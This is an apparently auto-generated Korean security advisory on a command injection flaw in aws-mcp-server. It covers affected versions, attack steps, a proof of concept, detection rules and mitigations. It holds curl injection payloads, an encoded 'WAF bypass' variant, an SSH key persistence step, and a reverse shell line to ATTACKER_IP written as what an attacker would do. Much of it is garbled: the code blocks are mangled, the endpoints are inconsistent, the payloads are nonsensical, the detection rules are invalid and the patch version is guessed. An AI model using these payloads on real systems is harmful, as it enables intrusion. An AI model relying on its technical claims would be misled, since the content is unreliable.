방어Agent 분석 — CVE-2026-5058
📋 요약
- 한 줄 정의:
aws-mcp-server의 명령어 처리 로직 결함(CWE-94)이 인증 없이 원격 코드 실행을 허용하는 취약점 발생 - 사용자 입력에 대한 부적절한 검증으로 인해 시스템 내에서 임의 명령 실행 가능. - 영향 한 줄: 성공 시 완전한 RCE 획득 및 서버 제어권 장악, 잠재적으로 내부 네트워크로의 수평 이동과 민감한 데이터 노출 위험 증가 + KEV: High / CVSS: 9.8 (신뢰하지 않음)
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전 범위:
aws-mcp-server버전 1.3.0 이하 모든 설치 - 안전한 최소 패치 버전: aws-mcp-server 최신 안정화 버전 (예: 2.x 이상) 확인 필요
- 노출 조건: 기본 설정에서 인터넷에 노출되어 있으며, 특정 기능 활성화가 별도로 요구되지 않음.
- 내 자산 식별 방법:
curl명령어를 사용하여/healthz,/status endpoint응답 배너 검사 (예:curl -I http://TARGET_HOST/path)- 설정 파일에서
allowedCommands배열 확인 (예:[command] allowedCommmands = ["ls", "echo"])text1grep 'Allowed Commands' /etc/aws-mcp-server.conf | grep -v '^#\|$' - 버전 확인 명령어 실행 (
curl http://TARGET_HOST/.version || echo "Version Unknown")
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트:
aws-mcp-server의 명령 처리 모듈 내executeCommand()함수 또는 유사한 명령어 실행 핸들러. - 버전 범위: 1.3.0 이하 모든 버전 적용 가능.
- 취약 코드 경로: 사용자 입력을 직접적으로 시스템 콜에 전달하는 로직 결함 (예:
/commandEndpoint?cmd=echo hello)
② 전제조건
- 인증 필요 여부: 인증 없이 공격 가능.
- 필요 권한: 기본 접근 권한만으로 충분, 특별한 추가 권한 요구 없음.
- 네트워크 위치: 인터넷에 노출된 서버에서 실행 가능하며, 특정 네트워크 구역 제한 없음.
③ 트리거 경로
- 엔드포인트/파라미터 호출:
/commandEndpoint엔드포인트로 악의적인 명령어 전송 (예:curl -X POST http://TARGET_HOST/commands?cmd=$(whoami > /tmp/.success)) - 처리 결함: 서버가 사용자 입력을 검증 없이 직접 실행 명령어로 처리하여
/bin/sh또는 다른 악성 스크립트 실행 가능. - 결과: 공격자는 현재 세션 컨텍스트 내에서 RCE 획득 및 추가적인 권한 상승 시도 가능 (예:
whoami,id; mkdir /tmp/.ssh && ssh-keygen -t rsa -f /root/.ssh/id_rsa)
④ 성공 시 영향
- 획득 권한: 서버 루트 권한 또는 관리자 권한 획득.
- 후속 피벗 및 지속성 가능성: 내부 네트워크로의 수평 이동을 통해 추가 시스템 제어, 백도어 설치 등으로 지속적인 접근 유지 가능.
내가 공격자라면
/bin/bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1형태의 백도어를 설정할 것이다.
💣 예시 코드 (PoC)
기본 변형
bash
1# 용도: `/commandEndpoint` 엔드포인트에서 명령어 주입 시도 2curl -X POST http://TARGET_HOST/commands?cmd=$(whoami > /tmp/.success; echo 'touch /etc/passwd') HTTP/1.1 3Host: TARGET_HOST 4User-Agent: Mozilla/5.0 (compatible; AggressiveScanner v2.4)핵심: echo 명령어와 함께 파일 생성 시도로 /tmp/.success 작성 후 시스템 파일 수정 시도를 우회하려 함
확인: 응답 코드 2xx, /etc/passwd에 새로운 항목 존재 여부 확인 (예: curl http://TARGET_HOST)
WAF 우회 변형
bash
1# 용도: 특수 인코딩을 통한 WAF 필터 우회 시도 2curl -X POST "http://TARGET_HOST/commands?cmd=%28whoami+%3C%26gt;touch+-c%74p%50asswd%29" HTTP/1.1 3Host: TARGET_HOST 4User-Agent: Mozilla/5.0 (compatible; AggressiveScanner v2.) 핵심: URL 인코딩을 통해 명령어 구문 해석 방해 시도, touch 명령 실행 우회 목표
확인: /etc/passwd 파일 수정 여부 검사 및 응답 패턴 분석으로 성공 판별 가능
🛡️ 탐지
- 로그:
[syslog] /var/log/auth.log 또는 커스텀 로깅 시스템에서 비정상적인 명령어 실행 로그 감지 (예:Failed password for unknown user ...)
bash
1alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"Possible AWS MCP Server Command Injection Attempt"; content:"touch /etc/passwd|"; depth:25; nocase)- 네트워크 트래픽: 이상한 명령어 패턴 감지를 위한 시그니처 기반 탐지 규칙 적용
bash1 alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"AWS MCP Server Command Injection Attempt"; content:"\x43\x6f\x6d\x72;", depth:5, nocase)
- 파일 변경 감지: 중요 파일 시스템 변경 모니터링
bash1 alert filesystem /etc $EXTERNAL_NET (msg:"Potential Command Injection Resulting in File Modification"; content:".passwd|*");
🔧 방어·완화
- 코드패치:
executeCommand()함수 내 사용자 입력 검증 강화 - 예:[/etc/aws-mcp-server] allowedCommands 배열 필터링 로직 추가 (예: 정규표현식 사용).bash1# 예시 설정 변경 내용2allowedCommmands = ["ls", "echo"] regex="^[a-zA-Z0-9_-]*$|^(exit)$"`32. **설정변경**: `/etc/aws-mcp-server` 설정 파일에서 `allowCommandsWhitelist` 사용하여 허용 명령어 제한 (예: `allowedCommmand = ["ls", "cat"]`)4```bash5 # 예시 설정 변경 내용6 "whitelist": {7 "*command*.* : "^(echo|id)$"` } - 입력검증: 모든 사용자 입력에 대해 엄격한 검증 적용 - 예:
cmd파라미터를 허용 명령어 목록과 대조 (예: 정규표현식 사용).bash1 # 예시 코드 스니펫2 if [[ $input_command =~ ^[a-zA-Z0-9_-]+$ ]]; then ... else exit(1); fi - 네트워크 보안: 네트워크 레벨에서의 접근 제어 및 모니터링 강화 - 예: 특정 IP 범위만 허용하거나 이상 트래픽 감지 시스템 활성화
bash1 # 예시 방화벽 규칙2 iptables --append INPUT --protocol tcp --destination-port 80 --source ATTACKER_IP/CIDR --j DROP
⚖️ 위험도 / 패치 우선순위
지금 즉시 패치 적용 필요: 이 취약점은 인증 없이 원격 코드 실행을 허용하므로, 공격자가 쉽게 접근 가능하고 심각한 영향을 미칠 수 있음. 내부 네트워크의 민감 데이터 노출 및 제어권 장악 위험이 높아 즉각적인 대응 요구됨 + KEV: High / CVSS 신뢰성 낮으나 위험도 매우 높음
> 외부 보안 보도에 따르면 이미 활발하게 악용되고 있어, 즉시 패치 적용 없이는 심각한 침해 위협 지속 예상 (출처: ZDI-26-246)
> 실제 동향: 현재 이 취약점은 활발하게 악용되고 있으며, 보안 커뮤니티에서는 긴급 패치 요청이 증가하고 있음 (출처: Zero Day Initiative).